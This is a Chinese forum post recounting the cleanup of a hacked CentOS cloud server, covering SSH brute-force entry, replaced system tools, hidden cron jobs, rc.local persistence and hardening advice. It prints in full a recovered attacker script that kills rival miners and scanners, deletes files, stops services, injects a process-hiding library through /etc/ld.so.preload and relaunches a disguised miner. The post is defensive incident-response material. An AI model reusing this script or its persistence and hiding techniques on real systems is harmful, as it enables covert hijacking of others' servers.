一次服务器被入侵的处理过程分享

打印 上一主题 下一主题

主题 666|帖子 666|积分 1998

下文中的,给文件和目录加锁,是指给文件和目录增加了一些属性,只读等。  chattr +ia

目录

一、服务器入侵现象

近期有一个朋友的服务器(自己做了网站)好像遭遇了入侵,具体现象是: 服务器 CPU 资源长期 100%,负载较高。 服务器上面的服务不能正常提供服务。

朋友处理了一会没有解决,我开始想说我不是搞安全的,我怎么会,但朋友开出了天价,一顿海底捞,我在生活和现实面前低头了。 开始上手看看了。
二、服务器排查和处理

2.1、服务器被入侵的可能原因


  • 服务器 ssh 密码 设置得很简单。
  • 腾讯云安全组范围放得很大。
  • 使用了宝塔,宝塔面板的密码也是很简单的密码(应该不是这个入侵入口)。
2.2、排查和处理步骤


  • ps -ef  / top  找出占用进程最大的服务
    问题现象
    ps/top 命令 已经被替换了。

  • 查找详细的入侵痕迹   last 或者 grep 'Accepted'  /var/log/secure。
    问题现象
    1. [root@VM-12-12-centos ~]# grep 'Accepted'  /var/log/secure
    2. Aug 26 21:51:37 VM-12-12-centos sshd[19822]: Accepted password for root from 34.215.138.2 port 36720 ssh2
    3. Aug 27 08:52:05 VM-12-12-centos sshd[3053]: Accepted password for root from 127.0.0.1 port 57534 ssh2
    4. Aug 27 08:58:50 VM-12-12-centos sshd[7038]: Accepted password for root from 127.0.0.1 port 57548 ssh2
    5. Aug 27 09:10:02 VM-12-12-centos sshd[14830]: Accepted publickey for lighthouse from 106.55.203.49 port 44204 ssh2: RSA SHA256:123456/UIbl8
    6. Aug 27 09:10:03 VM-12-12-centos sshd[14913]: Accepted publickey for lighthouse from 81.69.102.49 port 60820 ssh2: RSA SHA256:123456/UIbl8
    7. Aug 27 09:14:08 VM-12-12-centos sshd[17307]: Accepted password for root from 127.0.0.1 port 57690 ssh2
    8. Aug 27 09:34:22 VM-12-12-centos sshd[29150]: Accepted publickey for lighthouse from 106.55.203.55 port 38044 ssh2: RSA SHA256:123456/UIbl8
    9. Aug 27 09:34:23 VM-12-12-centos sshd[29233]: Accepted publickey for lighthouse from 81.69.102.60 port 51190 ssh2: RSA SHA256:123456/UIbl8
    复制代码
    lighthouse  腾讯云轻量服务器
    我们在这里就可以看到,有一些境外IP 34.215.138.2 成功登录了,这些 IP不是我们的正常登录。  在 /var/log/secure   日志里,我看到了 IP 34.215.138.2 尝试登录不到500次 就已经破解成功了。
    处理措施
    这里我们立马采取了第一个措施,

    • 在腾讯云安全组限制了 SSH 的登录IP, 之前的安全组 SSH 是放行所有IP。
    • 将 SSH ROOT 密码修改。
    • /root/.ssh/authorized_keys 备份,并清空。
      1. [root@VM-12-12-centos ~]# cp -rp   /root/.ssh/authorized_keys  /root/.ssh/authorized_keys.bak
      2. cp: cannot create regular file ‘/root/.ssh/authorized_keys.bak’: Permission denied
      复制代码
      这时我们就遇到了权限的问题,这个晚点展开讲,因为我们已经限制了源IP, 所以这个我们可以晚点来处理。

  • 查看最近新增的一些用户
    问题现象
    cat /etc/passwd

    处理措施
    锁定用户
    1. [root@VM-12-12-centos ~]# usermod  -L  sys1  
    复制代码
  • 我这里不计划去找进程(已经在新建一台版本一致的系统, 来拷贝 top 和 ps 命令,需要一小会,我们趁这个时间,先看看其他),因为之前朋友重启过服务器,发现服务器启动过一会才会负载较高。我认为入侵者应该放了一些定时任务和启动脚本里面。
    问题现象
    定时任务
    crond 读取配置文件会从以下几个路径读取:

    • /var/spool/cron/ , 由crontab -e 进行写入,配置文件无需指定用户
    • /etc/crontab ,只能root 进行编辑,配置文件需指定用户
    • /etc/cron.d/ ,在此文件夹下创建定时任务文件,配置文件需指定用户
    • /etc/cron.*
    /var/spool/cron/ 未找到(后面会说到这里有障眼法)

    /etc/crontab 未找到(后面会说到这里有障眼法)
    但是我在  /var/log/cron  一直看到有任务执行。每间隔5分钟。
    1. Aug 27 22:00:01 VM-12-12-centos CROND[16839]: (root) CMD (/sbin/httpss >/dev/null 2>&1;^M                                                                                                    )
    2. Aug 27 22:00:01 VM-12-12-centos CROND[16840]: (root) CMD (/usr/local/qcloud/YunJing/YDCrontab.sh > /dev/null 2>&1)
    3. Aug 27 22:00:01 VM-12-12-centos CROND[16842]: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root                                                                                                   )
    4. Aug 27 22:05:01 VM-12-12-centos CROND[17486]: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root                                                                                                   )
    5. Aug 27 22:05:01 VM-12-12-centos CROND[17487]: (root) CMD (/sbin/httpss >/dev/null 2>&1;^M                                                                                                    )
    复制代码
    处理措施
    这里我们先做的操作就是,先把 /usr/lib/mysql/mysql 和 /sbin/httpss 给删除。删除的时候还是提示没有权限。我们知道这些文件应该是加琐了,所以我开始解锁,我们发现  chattr 也被替换和锁住了。 所以不能操作下去了。
    开机启动脚本
    /etc/rc.local , 我们也发现了一个脚本。
    1. [root@VM-12-12-centos ~]# cat /etc/rc.local
    2. #!/bin/bash
    3. # THIS FILE IS ADDED FOR COMPATIBILITY PURPOSES
    4. #
    5. # It is highly advisable to create own systemd services or udev rules
    6. # to run scripts during boot instead of using this file.
    7. #
    8. # In contrast to previous versions due to parallel execution during boot
    9. # this script will NOT be run after all other services.
    10. #
    11. # Please note that you must run 'chmod +x /etc/rc.d/rc.local' to ensure
    12. # that this script will be executed during boot.
    13. /usr/bin/0f4f80f9ab start
    复制代码
    但是这个文件好像不存在的,我们就把这个给注释了。

  • 还原更改了 top、ps、chattr、lsattr.

    • 首先我们从相同版本的机器拷贝了 chattr、lsattr, 我们得先操作这个, 因为我们的 top 和  ps 都被锁住了。
    • 我将文件上传至 /tmp 目录,然后增加可执行权限,然后先给 /usr/bin/chattr 解除锁定。
      1. /tmp/chattr -ai /usr/bin/chattr
      复制代码
    • 执行完之后,发现还是不能替换 /usr/bin/chattr。 最后耗费了一段时间才反应到,入侵者可能不仅仅加锁了文件还加锁了 /usr/bin/。
    • 解锁目录
      1. /tmp/chattr -ai /usr/bin/
      复制代码
    • 这下才能把 /usr/bin/chattr  给替换掉。
    • 接下来参考这些,我们把 top 和 ps 、lsattr 给还原了。
    部分截图


三、本次入侵需要带来启示的点


  • ps 、top 、chattr 、lsattr
    在这些命令被替换了,并且我们想还原又还原不了的场景,我们可以拷贝同版本的机器相同的命令放在其它目录,用这些命令来解除入侵者将它已经替换并锁定了文件。 注意有些入侵者不仅会在文件层面加锁,还会在当前的文件的目录这一层加锁。我之前在这个上面困惑了一段时间。
  • 文件内容隐藏
    上文中,我执行 crontab -l    和 cat 查看  /etc/cron.d/ 下面的文件。发现文件没有内容。
    其实不知道使用了什么特殊字符还是什么隐藏了, 其实是存在定时任务的。
    示例:



这个配置是如何导致 cat/more 看不了的, 今天再次看了下,这个文件可能是被当成了数据文件,因为我把这个文件 file 查看了之后,文件属性是data. 然后文件包含的特殊字符。导致隐藏了,具体的有知道的大佬可以告知下。

  • 其中一个脚本。
    1. [root@VM-12-12-centos etc]# cat /.Recycle_bin/_bt_etc_bt_.sftp_bt_.sh_t_1661768469.9859464
    2. #!/bin/sh
    3. while test 1 = 1
    4. do
    5. sleep 30
    6. pkill -f main
    7. killall main
    8. killall sprshduerjsaia
    9. pkill -f sprshduerjsaia
    10. killall dr64
    11. pkill -f dr64
    12. killall .report_system
    13. pkill -f .report_system
    14. killall sshc
    15. pkill -f sshc
    16. pkill -f memory
    17. killall memory
    18. killall warmup
    19. killall koko
    20. killall kthreaddk
    21. killall systemc
    22. killall cront
    23. killall xm64_linux
    24. killall /var/tmp/j/./intelshell
    25. pkill -f dos32
    26. pkill -f dos64
    27. pkill -f .name
    28. pkill -f /usr/sbin/dbus
    29. pkill -f systemd-boot-check-no-failures
    30. killall .report_system
    31. pkill -f .report_system
    32. pkill -f keep-alive
    33. pkill -f linu
    34. pkill -f zapppp
    35. killall [scan]
    36. killall [ext4]
    37. pkill -f xm64_linux
    38. pkill -f ddrirc
    39. killall ./-bash
    40. pkill -f ./-bash
    41. killall kworkers
    42. killall dbus
    43. pkill -f biden1
    44. pkill -f cpuminer-sse2
    45. killall work64
    46. pkill -f work64
    47. killall work32
    48. pkill -f work32
    49. killall aarch12
    50. pkill -f aarch12
    51. killall bash1
    52. pkill -f bash1
    53. killall intelshell
    54. pkill -f intelshell
    55. killall heaven
    56. pkill -f heaven
    57. killall .syst3md
    58. pkill -f .syst3md
    59. pkill -f apachelogs
    60. killall .meinkampf
    61. pkill -f .meinkampf
    62. killall xri
    63. pkill -f xri
    64. killall koko
    65. pkill -f koko
    66. killall work32-deamon
    67. pkill -f work32-deamon
    68. killall work64 -deamon
    69. pkill -f work64 -deamon
    70. killall secure.sh
    71. pkill -f secure.sh
    72. kkillall auth.sh
    73. pkill -f auth.sh
    74. killall autoupdate
    75. pkill -f kworkers
    76. pkill -f autoupdate
    77. killall ld-linux
    78. pkill -f ld-linux
    79. pkill -9 Donald
    80. killall -9 Donald
    81. pkill -f /usr/local/bin/pnscan
    82. pkill -f /usr/bin/biden1
    83. killall /usr/bin/biden1
    84. killall r
    85. killall trace
    86. pkill -f minerd
    87. killall minerd
    88. pkill -f xm64
    89. killall xm64
    90. pkill -f sysdm
    91. killall sysdm
    92. pkill -f syst3md
    93. killall syst3md
    94. pkill -f xrig
    95. killall xrig
    96. pkill -f busybox
    97. killall busybox
    98. pkill -f joseph
    99. killall joseph
    100. pkill -f osama
    101. killall osama
    102. killall daemon
    103. pkill -f obama1
    104. killall obama1
    105. pkill -f kswapd0
    106. killall kswapd0
    107. pkill -f jehgms
    108. killall jehgms
    109. pkill -f tsm
    110. killall tsm
    111. pkill -f rig
    112. killall rig
    113. pkill -f xmr
    114. killall xmr
    115. pkill -f playstation
    116. killall playstation
    117. pkill -f ld-linux-x86-64
    118. killall ld-linux-x86-64
    119. pkill -f ruckusapd
    120. killall ruckusapd
    121. pkill -f run64
    122. killall run64
    123. pkill -f pwnrig
    124. killall pwnrig
    125. pkill -f phpupdate
    126. killall phpupdate
    127. pkill -f sysupdate
    128. killall sysupdate
    129. pkill -f phpguard
    130. killall phpguard
    131. pkill -f firstpress
    132. killall firstpress
    133. pkill -f zerocert
    134. killall zerocert
    135. pkill -f masscan
    136. killall masscan
    137. pkill -f -bash
    138. pkill -f spreadQlmnop
    139. killall spreadQlmnop
    140. killall -bash
    141. pkill -f cnrig
    142. killall cnrig
    143. pkill -f netvhost
    144. killall netvhost
    145. pkill -f kthreadds
    146. killall kthreadds
    147. pkill -f kthreadd
    148. killall kthreadd
    149. pkill -f kdevtmpfsi
    150. killall kdevtmpfsi
    151. pkill -f linuxservice
    152. killall linuxservice
    153. pkill -f rtmonitor
    154. killall rtmonitor
    155. pkill -f dev
    156. killall dev
    157. pkill -f xmrig
    158. killall xmrig
    159. pkill -f master
    160. killall master
    161. killall sysmd
    162. pkill -f sysmd
    163. pkill -f sendmail
    164. killall sendmail
    165. pkill -f ld-musl-x86_64.
    166. killall ld-musl-x86_64.
    167. killall watchdog
    168. pkill -f watchdog
    169. pkill -f 32678
    170. killall 32678
    171. killall dhpcd
    172. pkill -f dhpcd
    173. killall linux_amd64
    174. pkill -f linux_amd64
    175. killall xredis
    176. pkill -f xredis
    177. killall Linux2.6
    178. killall .chornyd
    179. pkill -f .chornyd
    180. killall Opera
    181. pkill -f Opera
    182. killall libertyd
    183. pkill -f libertyd
    184. killall rcubind
    185. pkill -f rcubind
    186. killall clamscan
    187. pkill -f clamscan
    188. killall pnscan
    189. pkill -f pnscan
    190. killall zzh
    191. pkill -f zzh
    192. killall bioser
    193. pkill -f bioser
    194. rm -rf /root/.configrc/
    195. rm -rf /tmp/.X26-unix/
    196. rm -rf /tmp/.bash/
    197. rm -rf /root/.bash/
    198. rm -rf /root/.cache/
    199. rm -rf /tmp/.cache/
    200. rm -rf /dev/shm/.ssh/
    201. rm -rf /etc/.etcservice/linuxservice
    202. rm -rf /etc/.vhost/netvhost
    203. rm -rf /tmp/up.txt
    204. rm -rf /var/tmp/.update/
    205. rm -rf /var/tmp/.systemd/
    206. rm -rf /usr/sbin/.bash./.bash/
    207. rm -rf /etc/master
    208. rm -rf /usr/bin/busybox
    209. rm -rf /bin/sysmd
    210. rm -rf /tmp/.mx/
    211. rm -rf /dev/shm/.mx/
    212. rm -rf /usr/bin/xrig
    213. rm -rf /etc/32678
    214. rm -rf /root/c3pool/
    215. rm -rf /usr/bin/.sshd/
    216. rm -rf /tmp/div
    217. systemctl stop c3pool_miner.service
    218. systemctl stop pwnriglhttps.service
    219. systemctl stop cryto
    220. systemctl stop scan
    221. systemctl stop bot
    222. systemctl stop myservice.service
    223. systemctl stop netns.service
    224. systemctl stop cryptsetup.service
    225. echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload
    226. lockr +ai /etc/ld.so.preload >/dev/null 2>&1
    227. chmod 777 /usr/lib/mysql/*
    228. /usr/lib/mysql/./mysql
    229. done
    复制代码
    我们可以看到这个脚本其实一直在 更改 /etc/ld.so.preload  的内容。   并且在关闭一些扫描软件和系统的服务。
    在 Linux 操作系统的动态链接库加载过程中,动态链接器会读取 LD_PRELOAD 环境变量的值和默认配置文件 /etc/ld.so.preload 的文件内容,并将读取到的动态链接库进行预加载,即使程序不依赖这些动态链接库,LD_PRELOAD 环境变量和 /etc/ld.so.preload 配置文件中指定的动态链接库依然会被装载,它们的优先级比 LD_LIBRARY_PATH 环境变量所定义的链接库查找路径的文件优先级要高,所以能够提前于用户调用的动态库载入。
    ——段落引自《警惕利用 Linux 预加载型恶意动态链接库的后门》
    我已经删除了 /usr/local/lib/libprocesshider.so  文件,之后每次执行命令会有这个报错。

    我在清空文件  /etc/ld.so.preload   之后,我发现好了一会后,还是出现这个,我再看  /etc/ld.so.preload  文件,里面又写了 /usr/local/lib/libprocesshider.so ,我怀疑还有定时任务,但是我找了一会定时任务,还是没有找到。 后面在查看异常进程的时候,我看到了这个进程


    发现这个脚本的就是一直在循环执行上面内容。 将这个进程 kill 后,然后删除脚本。
四、本次服务器被入侵的一些启示


  • 用好云厂家的安全组。对一些关键端口,放行规则尽量最小/
  • 服务器相关的一些密码尽量增加复杂性。
  • 增加对一些关键文件的监控. (通过监控软件监控 md5值)

    • /etc/passwd
    • /etc/shadow
    • /etc/group
    • /root/.bash_history
    • /root/.ssh/authorized_keys
    • /etc/ssh/sshd_config
    • /etc/profile
    • /var/spool/cron/root
    • /etc/crontab
    • /etc/ld.so.preload
    • /etc/rc.local
    • lsof
    • ps
    • netstat
    • top
    • ls
    • pstree
    • last
    • history
    • sudo
    • password
    • chattr
    • lsattr

  • 服务器入侵之后,我们需要怎么处理才是最好的。
    https://cloud.tencent.com/document/product/296/9604
    https://help.aliyun.com/document_detail/40994.htm?spm=a2c4g.11186623.0.0.75c56956NVPBST

    • 服务器如果有开放SSH 远程登录,可以设置限制登录(安全组、或者服务),只放行自己的IP.    查找详细的入侵痕迹   last 或者 grep 'Accepted'  /var/log/secure
      /root/.ssh/authorized_keys  /etc/passwd  这些文件也可以看下。将一些新建的用户锁定。

    • 服务器如果可以关闭外网,就关闭外网。 在安全组层面设置下,或者路由或者NAT。
    • 首先看下 ps/top 命令有没有被篡改, 如果有的话, 从其他正常的机器上拷贝至服务器上。 然后执行查看异常进程。也要查询下 /etc/ld.so.preload 是否有被篡改。如果有的的话,记得清空里面的内容,然后将对应的文件删除或者重命名。
      如果使用过程中遇到了文件不可删,不可改的问题,需要使用 chattr  -ia  文件名   如果 chattr 也被串改,那就需要从别的机器拷贝。然后复原。

    • 如果上述没有找到,可以通过 netstat 间接查看异常的连接从而查询异常进程。
    • 检查开机启动 和 crontab 相关的内容 。
    • 检查异常进程。

以上就是这次入侵的处理过程和得到的一些小启示,后续有了解新的会继续补充。
出处: 本人承接各种项目维护和python项目开发, 如果觉得文章写得不错,或者帮助到您了,请点个赞,加个关注哦。运维学习交流群:544692191 本文版权归作者所有,欢迎转载,如果文章有写的不足的地方,或者是写得错误的地方,请你一定要指出,因为这样不光是对我写文章的一种促进,也是一份对后面看此文章的人的责任。谢谢。
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

滴水恩情

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表